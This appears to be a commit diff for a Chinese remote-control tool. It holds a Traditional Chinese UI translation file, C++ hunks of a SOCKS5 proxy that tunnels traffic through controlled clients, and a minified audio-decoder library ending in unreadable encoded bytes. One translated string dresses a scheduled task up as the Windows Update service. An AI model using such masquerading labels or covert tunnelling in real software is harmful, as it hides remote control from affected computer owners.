%d ==>收 %d bytes\r\n=%d ==>接收 %d bytes\r\n
|
||||||
|
驱动盘非NTFS格式= 磁碟非NTFS格式
|
||||||
|
需要管理员权限运行=需要管理員權限執行
|
||||||
|
初始化日志文件失败=初始化日誌檔案失敗
|
||||||
|
获取日志文件失败=取得日誌檔案失敗
|
||||||
|
取消下载= 取消下載
|
||||||
|
全部完成= 全部完成
|
||||||
|
取消上传= 取消上傳
|
||||||
|
无权限或无记录...=無權限或無記錄...
|
||||||
|
请等待数据返回...=請等待資料返回...
|
||||||
|
接收数据完成=接收資料完成
|
||||||
|
打开文件失败...=開啟檔案失敗...
|
||||||
|
此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=此工作用於在需要時啟動 Windows 更新服務以執行排程的操作(如掃描)
|
||||||
|
本地文件路径=本機檔案路徑
|
||||||
|
高级(&A)=進階(&A)
|
||||||
|
远程桌面质量等级(&Q)=遠端桌面品質等級(&Q)
|
||||||
|
远程桌面质量等级=遠端桌面品質等級
|
||||||
|
等级=等級
|
||||||
|
帧率(FPS)=幀率(FPS)
|
||||||
|
最大宽度=最大寬度
|
||||||
|
编码算法=編碼算法
|
||||||
|
码率(kbps)=碼率(kbps)
|
||||||
|
Ultra 极佳=Ultra 極佳
|
||||||
|
High 优秀=High 優秀
|
||||||
|
Good 良好=Good 良好
|
||||||
|
Medium 一般=Medium 一般
|
||||||
|
Low 较差=Low 較差
|
||||||
|
Minimal 最低=Minimal 最低
|
||||||
|
最大宽度 0 表示原始分辨率;DIFF/RGB565 适合局域网,H264 适合跨网=最大寬度 0 = 原始解析度;DIFF/RGB565 適合區域網路,H264 適合跨網
|
||||||
|
恢复默认=恢復預設
|
||||||
|
质量等级已保存,下次打开远程桌面时生效。=品質等級已儲存,下次開啟遠端桌面時生效。
|
||||||
|
屏幕预览质量等级(&P)=螢幕預覽品質等級(&P)
|
||||||
|
屏幕预览质量等级=螢幕預覽品質等級
|
||||||
|
JPEG质量=JPEG品質
|
||||||
|
最大宽度为期望编码宽度;JPEG 质量 1~100=最大寬度為期望編碼寬度;JPEG 品質 1~100
|
||||||
|
预览质量等级已保存,下次发送预览时生效。=預覽品質等級已儲存,下次傳送預覽時生效。
|
||||||
|
|
||||||
|
; ============================================
|
||||||
|
; File Transfer Speed Dialog (文件传输速度)
|
||||||
|
; ============================================
|
||||||
|
文件传输速度(&F)...=檔案傳輸速度(&F)...
|
||||||
|
文件传输速度=檔案傳輸速度
|
||||||
|
拖动滑块设置文件传输速度:=拖曳滑桿設定檔案傳輸速度:
|
||||||
|
最慢=最慢
|
||||||
|
慢=慢
|
||||||
|
默认=預設
|
||||||
|
快=快
|
||||||
|
更快=更快
|
||||||
|
很快=很快
|
||||||
|
不限速=不限速
|
||||||
|
%s · 约 %.2f MB/s=%s · 約 %.2f MB/s
|
||||||
|
%s · 不受限速(受网络带宽约束)=%s · 不限速(受網路頻寬限制)
|
||||||
|
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效;下載速度下次開啟檔案管理或遠端桌面後生效。
|
||||||
|
|
||||||
|
连接管理=連線管理
|
||||||
|
%s - 连接管理=%s - 連線管理
|
||||||
|
本地地址=本機位址
|
||||||
|
本地端口=本機連接埠
|
||||||
|
远端地址=遠端位址
|
||||||
|
远端端口=遠端連接埠
|
||||||
|
连接数:%d=連線數:%d
|
||||||
|
强制断开=強制中斷
|
||||||
|
远程交谈=遠程交談
|
||||||
@@ -135,7 +135,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
try {
|
try {
|
||||||
switch (nCode) {
|
switch (nCode) {
|
||||||
case NC_CLIENT_CONNECT:
|
case NC_CLIENT_CONNECT:
|
||||||
wsprintf(szMsg, _T("%d 新连接\r\n"), index);
|
wsprintf(szMsg, _TRF("%d 新连接\r\n"), index);
|
||||||
break;
|
break;
|
||||||
case NC_CLIENT_DISCONNECT:
|
case NC_CLIENT_DISCONNECT:
|
||||||
if (pContext->m_bProxyConnected) {
|
if (pContext->m_bProxyConnected) {
|
||||||
@@ -144,7 +144,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
memcpy(lpData + 1, &index, sizeof(DWORD));
|
memcpy(lpData + 1, &index, sizeof(DWORD));
|
||||||
g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
|
g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
|
||||||
}
|
}
|
||||||
wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
|
wsprintf(szMsg, _TRF("%d 本地连接断开\r\n"), index);
|
||||||
break;
|
break;
|
||||||
case NC_TRANSMIT:
|
case NC_TRANSMIT:
|
||||||
break;
|
break;
|
||||||
@@ -152,13 +152,13 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
if (pContext->m_bProxyConnected == 2) {
|
if (pContext->m_bProxyConnected == 2) {
|
||||||
g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
|
g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||||
pContext->InDeCompressedBuffer.GetBufferLength());
|
pContext->InDeCompressedBuffer.GetBufferLength());
|
||||||
wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
wsprintf(szMsg, _TRF("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
||||||
} else if (pContext->m_bProxyConnected == 0) {
|
} else if (pContext->m_bProxyConnected == 0) {
|
||||||
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
|
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
|
||||||
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
|
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
|
||||||
pContext->m_bProxyConnected = 1;
|
pContext->m_bProxyConnected = 1;
|
||||||
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
|
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
|
||||||
wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
|
wsprintf(szMsg, _TRF("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
|
||||||
} else if (pContext->m_bProxyConnected == 1) {
|
} else if (pContext->m_bProxyConnected == 1) {
|
||||||
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
|
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
|
||||||
BYTE buf[11] = {};
|
BYTE buf[11] = {};
|
||||||
@@ -182,10 +182,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
||||||
g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
|
g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
|
||||||
SAFE_DELETE_ARRAY(HostName);
|
SAFE_DELETE_ARRAY(HostName);
|
||||||
wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
|
wsprintf(szMsg, _TRF("域名 连接 %d \r\n"), index);
|
||||||
} else if (lpData[3] == 4) { //ipv6
|
} else if (lpData[3] == 4) { //ipv6
|
||||||
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
|
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
|
||||||
wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index);
|
wsprintf(szMsg, _TRF("%d IPV6连接 不支持..."), index);
|
||||||
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
|
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
|
||||||
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
|
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
|
||||||
break;
|
break;
|
||||||
@@ -197,7 +197,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
buf[3] = lpData[3];
|
buf[3] = lpData[3];
|
||||||
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
|
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
|
||||||
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
|
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
|
||||||
wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
|
wsprintf(szMsg, _TRF("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -238,9 +238,9 @@ void CProxyMapDlg::OnReceiveComplete()
|
|||||||
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
|
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
|
||||||
if (sendbuf[1] == 0) {
|
if (sendbuf[1] == 0) {
|
||||||
pContext_proxy->m_bProxyConnected = 2;
|
pContext_proxy->m_bProxyConnected = 2;
|
||||||
wsprintf(szMsg, _T("%d 连接成功\r\n"), index);
|
wsprintf(szMsg, _TRF("%d 连接成功\r\n"), index);
|
||||||
} else
|
} else
|
||||||
wsprintf(szMsg, _T("%d 连接失败\r\n"), index);
|
wsprintf(szMsg, _TRF("%d 连接失败\r\n"), index);
|
||||||
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
|
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
|
||||||
AddLog(szMsg);
|
AddLog(szMsg);
|
||||||
}
|
}
|
||||||
@@ -266,7 +266,7 @@ void CProxyMapDlg::OnReceiveComplete()
|
|||||||
AddLog(szMsg);
|
AddLog(szMsg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
|
wsprintf(szMsg, _TRF("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
|
||||||
AddLog(szMsg);
|
AddLog(szMsg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 95 KiB After Width: | Height: | Size: 128 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.8 KiB |
+232
@@ -0,0 +1,232 @@
|
|||||||
|
/* Copyright 2021-2026 Ethan Halsall. This file is part of wasm-audio-decoders. https://github.com/eshaz/wasm-audio-decoders */
|
||||||
|
var i,t;i=this,t=function(i,t){const e=(i,t=4294967295,e=79764919)=>{const H=new Int32Array(256);let s,h,r,n=t;for(s=0;s<256;s++){for(r=s<<24,h=8;h>0;--h)r=2147483648&r?r<<1^e:r<<1;H[s]=r}for(s=0;s<i.length;s++)n=n<<8^H[255&(n>>24^i[s])];return n},H=(i,t=e)=>{const H=i=>new Uint8Array(i.length/2).map((t,e)=>parseInt(i.substring(2*e,2*(e+1)),16)),s=i=>H(i)[0],h=new Map;[,8364,,8218,402,8222,8230,8224,8225,710,8240,352,8249,338,,381,,,8216,8217,8220,8221,8226,8211,8212,732,8482,353,8250,339,,382,376].forEach((i,t)=>h.set(i,t));const r=new Uint8Array(i.length);let n,M,o,a=!1,c=0,I=42,u=i.length>13&&"dynEncode"===i.substring(0,9),y=0;u&&(y=11,M=s(i.substring(9,y)),M<=1&&(y+=2,I=s(i.substring(11,y))),1===M&&(y+=8,o=(i=>new DataView(H(i).buffer).getInt32(0,!0))(i.substring(13,y))));const l=256-I;for(let e=y;e<i.length;e++)if(n=i.charCodeAt(e),61!==n||a){if(92===n&&e<i.length-5&&u){const t=i.charCodeAt(e+1);117!==t&&85!==t||(n=parseInt(i.substring(e+2,e+6),16),e+=5)}if(n>255){const i=h.get(n);i&&(n=i+127)}a&&(a=!1,n-=64),r[c++]=n<I&&n>0?n+l:n-I}else a=!0;const d=r.subarray(0,c);if(u&&1===M){const i=t(d);if(i!==o){const t="Decode failed crc32 validation";throw console.error("`simple-yenc`\n",t+"\n","Expected: "+o+"; Got: "+i+"\n","Visit https://github.com/eshaz/simple-yenc for more information"),Error(t)}}return d};function s(){const i=Uint8Array,t=Float32Array;s.t||Object.defineProperties(s,{t:{value:new WeakMap},H:{value(i,t){s.t.set(i,Promise.resolve(t))}},M:{value(i,t){let e=s.t.get(i);return e||(t?e=WebAssembly.compile(H(t)):(t=i.I,e=s.u(t).then(i=>WebAssembly.compile(i))),s.t.set(i,e)),e}},p:{value(i,e){let H=new t(e),s=0,h=0;for(;s<i.length;)H.set(i[s],h),h+=i[s++].length;return H}},J:{value:(i,t,e,H,s)=>({errors:i,channelData:t,samplesDecoded:e,sampleRate:H,bitDepth:s})},W:{value(i,t,e,H,h,r){let n,M,o=[];for(n=0;n<e;n++){const i=[];for(M=0;M<t.length;)i.push(t[M++][n]||[]);o.push(s.p(i,H))}return s.J(i,o,H,h,r)}},u:{value(t){return t=H(t),new Promise(e=>{const H=String.raw`dynEncode012804c7886d()((()>+*§§)§,§§§§)§+§§§)§+.-()(*)-+)(.7*§)i¸¸,3§(i¸¸,3/G+.¡*(,(,3+)2å:-),§H(P*DI*H(P*@I++hH)H*r,hH(H(P*<J,i)^*<H,H(P*4U((I-H(H*i0J,^*DH+H-H*I+H,I*4)33H(H*H)^*DH(H+H)^*@H+i§H)i§3æ*).§K(iHI/+§H,iHn,§H+i(H+i(rCJ0I,H*I-+hH,,hH(H-V)(i)J.H.W)(i)c)(H,i)I,H-i*I-4)33i(I.*hH(V)(H+n5(H(i*I-i(I,i)I.+hH,i*J+iHn,hi(I-i*I,+hH,H/H-c)(H,iFn,hi(I,+hH,H0n5-H*V)(J(,hH/H(i)J(H(V)(J(i)c)(H)H(i)H,c)(3H*i*I*H,i)I,4(3(-H(H,W)(H-I-H,i*I,4)3(3(3H,H-I1H+I,H.i)H1V)(J.i(v5(33H.-H(H,i(c)(H,i*I,4)333)-§i*I*+§H*iHn,hi73H,H(i)8(H+J+H)P*(H*V)(J-r,§H)P*,H.i)H+H,i)V)(-H*i*I*H+i)I+H-H.I.H,H-i)I,4)333Ã+)-§iø7i(^*(iü7I,*h+hH+iDn,h*hilI+i)I,+hH+,hH+iô7H,c)(i)H+i´8W)(H,I,H+i*I+4)-+hH(H)8*J-i(p5.*h*h*hH-i')u,hH(P*(J+,hH(P*0J,H(P*,n50H+H,H-b((3H(P*0i)I.4)3H-i¨*n5*H-iÅ*s,hi73H-i)J+V)&+I,H(H+V)æ,8(I.H(H*8*J-i(p51H-i)J+i¸7V)(H(H+iø7V)(8(J/H(P*0J+s,hi73H+H,H.J,I.H(P*(m5(H.H(P*,s5.+hH,m5*H(P*(J.H+H.H+H/U((b((H(H(P*0i)J+^*0H,i)I,4(3(3H(H.^*03H-i¨*o5)33i(73(3(3-H,H+i)c)(H,i*I,H+i)I+4)33i)I-3H-3!2)0§K(i2J,L(H,H(^*(H,H*^*4H,i(^*0H,i(^*DH,j(_*<H,H)P*(^*,H,H+P*(^*8*h*h+hH,i)8(I3i§I**h*h*h*h*h*h*hH,i*8(6+(),03H,j(_*@i*I-H,P*<J.i,J(H,P*8J/s50H,H.i+J0^*<i¦I*H.H,P*4J1J.U(*H.U((J2i')o5/H.U()I.H,H(^*<H0H1U((H.i0J.i§i0i')o5/H/H.H2J*H(J.q50H,P*0J/H*I-H,P*(J0,hH,P*,H-q,hi)I-423+hH*m5+H/H0H(H1U((b((H/i)I/H(i)I(H*i)I*4(3(3H,H.^*<H,H-^*04*3iØ1U((5+i(I(i¨7i1^*(i$6iè1^*(i°7iè6^*(i¬7iÈ6^*(+hH(iÈ*n,hiÈ*I(+hH(i¨,n,hi¨,I(+hH(iØ,n,hiØ,I(+hH(iè,o,hH,i-H(i0c)(H(i*I(4)33iè1i1H,i-iÈ*8)Bi(I(+hH(ido,hH,i-H(i-c)(H(i*I(4)33iÈ6iè6H,i-iF8)BiØ1i)b((41-H,i-H(i/c)(H(i*I(4)3(3(-H,i-H(i1c)(H(i*I(4)3(3(-H,i-H(i0c)(H(i*I(4)3(3(3H,H/^*0H,H(^*<3i(I*4*3H,H,i¸)^*TH,H,iø-^*PH,H,iX^*LH,H,i(^*HH,i-8(I(H,i-8(I-i¥I*H,i,8(I.H(iErH-iEr5)H(i©*I1H-i)I0i(i;H.i,J(i(H(i(rCJ(J*H*i;sCI*i¨1I-H(I/+hH/,hH,i-H-V)(i)H,i+8(c)(H/i)I/H-i*I-H*i)I*4)-H(i)i¨1I/+hH(H*o,hH,i-H/V)(i)i(c)(H/i*I/H(i)I(4)33i¤I*H,iø-H,i¸)H,i-i;8)5+H0H1I2i(I-+hH-H2p,hH,H,iP8*J*i(p5-H*i7u,hH,i-H-i)H*c)(H-i)I-4*3i(I/i+I.i+I(*h*h*hH*i86*(*)3H-m,hi£I*403H-i)H,W)-I/i*I(4)3i3I.i/I(3H2H,H(8(H.J(H-J.p,hi¢I*4.3H,i-H-i)I*+hH(,hH*H/c)(H*i*I*H(i)I(4)-H.I-4+3(3(33H,W)1m,hiI*4,3H,iø-H,i¸)H,i-H18)J(,hi¡I*H(i(p5,H1H,V)ú-H,V)ø-o5,3H,i(H,iXH,i-H1i)H08)J(,hi I*H(i(p5,H0H,V)H,V)o5,3H,H,iPH,iH8+I*4+3(3(3H,i$6i¬78+I*3H*H3m5(3i)I-H*i(r5)3H)H,P*0^*(H+H,P*<^*(H*I-3H,i2L(H-33Á)+(i¨03b+(,(-(.(/(0(1(2(3(5(7(9(;(?(C(G(K(S([(c(k({(((«(Ë(ë((*)(iø03O)()()()(*(*(*(*(+(+(+(+(,(,(,(,(-(-(-(-(i¨13M8(9(:(((0(/(1(.(2(-(3(,(4(+(5(*(6()(7(T7*S7U
Line truncated
|
||||||
|
®Fj{øú¢ç=}(ÝñÜn moǰ¥àeò?È×µh
|
||||||
|
ØW¨;Ñ aØXæU{¤øàÖÕÀì·ÝÌíø±tâÔøeVO÷PÉ´È~ÃòsX1´ÊPyK·ÿKZçµ WÑ¡¡_ dÍí+]Õ~%Yïþîñ ¾Ú·p[òß ¶ó÷ylhnn«²ù*¶Ìéñ®ï(éÇÃRÊÆRÌ-¬ÐoÒÊ2z+ä$:ÄsxÏ#Ït!MlBq§%Jè ®Ä | ||||||